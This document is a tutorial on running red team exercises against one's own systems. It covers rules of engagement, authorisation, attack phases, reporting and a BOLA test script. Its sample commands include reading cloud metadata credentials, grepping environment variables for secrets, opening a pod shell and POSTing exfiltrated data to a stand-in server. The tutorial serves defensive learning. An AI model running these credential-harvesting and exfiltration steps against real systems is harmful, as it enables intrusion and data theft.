Red teaming is the practice of simulating real-world attacks against your own systems to find weaknesses that automated tools and code reviews miss. You do not need a dedicated red team to adopt this mindset — any developer or engineering team can run lightweight adversarial exercises against their own applications. This lesson covers the fundamentals.
Red team vs penetration test vs vulnerability scan
| Activity | Scope | Goal | Duration |
|---|---|---|---|
| Vulnerability scan | Automated, broad | Find known CVEs and misconfigurations | Minutes |
| Penetration test | Targeted, specific scope | Find and exploit vulnerabilities in a system | Days to weeks |
| Red team exercise | Objective-based, broader scope | Achieve a specific goal (e.g., access customer data) simulating a real attacker | Weeks to months |
A vulnerability scan finds the CVE in your library. A pen test exploits it to prove the impact. A red team exercise chains it with a phishing attack on a developer, lateral movement through internal services, and data exfiltration — just like a real attacker would.
Objectives, not checklists
Red team exercises are goal-driven, not checklist-driven:
| Example objective | Why it matters |
|---|---|
| Exfiltrate 1000 customer records | Tests data access controls end-to-end |
| Gain shell access on a production host | Tests infrastructure security and detection |
| Deploy a backdoored version of the application | Tests CI/CD pipeline security |
| Access the production database from a developer workstation | Tests lateral movement controls |
| Bypass MFA and access an admin account | Tests authentication resilience |
Define the objective first. The "how" is the exercise.
Planning an exercise
Scope and rules of engagement
Define these before starting:
## Red Team Exercise: Customer Data Exfiltration
**Objective:** Access and exfiltrate at least 100 customer records from production.
**Duration:** 2 weeks
**Scope:**
- In scope: All production infrastructure, CI/CD pipelines, developer tooling
- In scope: Social engineering of team members (no external parties)
- Out of scope: Physical access attacks, denial of service, third-party services
**Rules:**
- No modification or deletion of real customer data
- No disruption to production services
- Document all actions in the exercise log
- Stop and report immediately if you discover active compromise by someone else
**Authorisation:** Signed by CTO and Head of Engineering
**Know about the exercise:** CTO, Head of Engineering, security on-call
**Do NOT know:** Everyone else (to test detection)
Legal authorisation
Always get written authorisation from someone with authority to approve. Even testing your own company's systems without authorisation can have legal consequences. The authorisation document should specify:
- What systems can be tested
- What techniques are permitted
- Who is aware of the exercise
- A "get out of jail free" contact if you trigger an alert and security responds
Attack phases
Real attacks follow a pattern. Simulate the same phases:
1. Reconnaissance
Gather information without touching the target systems:
# OSINT — public information gathering
# DNS enumeration
dig +short example.com any
subfinder -d example.com
# Technology fingerprinting
whatweb https://example.com
wappalyzer (browser extension)
# Public code and credential search
# (Search only public repos and paste sites)
trufflehog git https://github.com/target-org --only-verified
# Employee information
# LinkedIn, conference talks, blog posts → names, roles, tech stack
2. Initial access
Attempt to gain a foothold:
| Technique | What to test |
|---|---|
| Web application vulnerabilities | SQLi, RCE, SSRF, auth bypass on public-facing apps |
| Phishing simulation | Craft a phishing email to an engineer; do they click? Report? |
| Credential stuffing | Use leaked credential databases against your login endpoints |
| Exposed services | Search for exposed admin panels, debug endpoints, monitoring tools |
| Supply chain | Could a compromised dependency grant access? |
| CI/CD | Can you modify a pipeline to inject code? |
3. Post-exploitation and lateral movement
After gaining initial access, attempt to move deeper:
# What can this compromised identity access?
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
# Can we reach internal services?
curl http://internal-api.cluster.local/admin
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Are there credentials in environment variables?
env | grep -i key
env | grep -i secret
env | grep -i password
# Can we access other services from here?
kubectl get pods
kubectl exec -it <pod> -- /bin/sh
4. Objective completion
Attempt to achieve the defined objective:
# Exfiltrate data (to a controlled endpoint you own, not the internet)
# Record: what data could be accessed, volume, detection time
curl -X POST https://your-controlled-server/log \
-d '{"records_accessible": 15000, "data_types": ["name","email","address"]}'
Never actually exfiltrate real customer data. Prove you can access it (screenshot, count), document the path, and stop.
5. Reporting
Document everything:
## Attack Path
1. Found exposed Grafana instance at monitoring.example.com (no auth required)
2. Grafana had a saved datasource with PostgreSQL credentials
3. Connected to PostgreSQL from within the VPC (no network restriction)
4. Database contained 15,000 customer records accessible with the Grafana credentials
5. No alerts triggered during the entire exercise (3 days)
## Timeline
- Day 1: Reconnaissance — discovered monitoring subdomain via DNS enumeration
- Day 1: Initial access — Grafana accessible without authentication
- Day 2: Lateral movement — extracted database credentials from Grafana datasource
- Day 3: Objective achieved — accessed customer database, documented record count
## Detection gaps
- No authentication on Grafana (should require SSO)
- Database credentials stored in Grafana datasource (should use short-lived tokens)
- No network restriction between Grafana and production database
- No alert on unusual database queries from the Grafana service account
- No alert on DNS enumeration of subdomains
## Recommendations
1. Require SSO for all internal tools (Grafana, monitoring, admin panels)
2. Use IAM database authentication instead of static credentials
3. Restrict database access to application service accounts only
4. Alert on database queries from unexpected sources
5. Monitor subdomain enumeration attempts
Lightweight exercises for engineering teams
You do not need a dedicated red team to get value from adversarial testing:
Threat modelling + attack simulation
After a threat modelling session, pick the top 3 threats and try to execute them against your staging environment:
- "An attacker could access another user's data through the API" → Try BOLA on every endpoint
- "An attacker could inject code through the import feature" → Test CSV injection, formula injection
- "A compromised dependency could exfiltrate secrets" → Check what environment variables are accessible
Purple team exercises
In a purple team exercise, the "attacker" and "defender" work together:
- Attacker explains what they are about to try
- Defender checks if their monitoring would detect it
- Attacker executes the technique
- Both review: Was it detected? How quickly? What was missed?
- Defender improves detection rules based on the gap
This is less realistic than a blind red team exercise, but delivers faster feedback and learning.
Self-service security testing
Build a library of attack scripts your team can run against their own services:
#!/bin/bash
# idor-check.sh — Test for broken object-level authorisation
# Usage: ./idor-check.sh <base_url> <user_a_token> <user_b_token> <endpoint> <id>
BASE_URL=$1
TOKEN_A=$2
TOKEN_B=$3
ENDPOINT=$4
ID=$5
echo "Testing BOLA on $ENDPOINT/$ID"
# Access as legitimate owner
RESPONSE_A=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"$BASE_URL/$ENDPOINT/$ID")
# Access as different user
RESPONSE_B=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_B" \
"$BASE_URL/$ENDPOINT/$ID")
echo "Owner: $RESPONSE_A | Other user: $RESPONSE_B"
if [ "$RESPONSE_B" = "200" ]; then
echo "⚠️ POTENTIAL BOLA — other user got 200 OK"
else
echo "✅ Access denied for other user"
fi
Common findings from red team exercises
| Finding | Frequency |
|---|---|
| Internal tools accessible without authentication | Very common |
| Overly broad cloud IAM permissions | Very common |
| Credentials in environment variables / config files | Common |
| No network segmentation between services | Common |
| No detection of lateral movement | Common |
| Outdated software on internal services | Common |
| CI/CD pipeline injectable by compromising a PR | Moderate |
| Security alerts that nobody responds to | Moderate |
Measuring effectiveness
Track these metrics across exercises:
| Metric | What it tells you |
|---|---|
| Time to initial access | How easily can an attacker get a foothold? |
| Time to objective completion | How far can they get? |
| Time to detection | How quickly do defenders notice? |
| Number of attack steps without detection | Where are your blind spots? |
| Findings from this exercise vs previous | Are you improving? |
Summary
Red teaming applies an adversarial mindset to your own systems. Define a clear objective, get written authorisation, and simulate realistic attack phases: reconnaissance, initial access, lateral movement, and objective completion. Document every finding with attack paths, detection gaps, and specific recommendations. You do not need a dedicated red team — purple team exercises and lightweight attack simulations give engineering teams fast, practical security feedback. The goal is not to "win" the exercise; it is to find and fix the gaps before real attackers do.
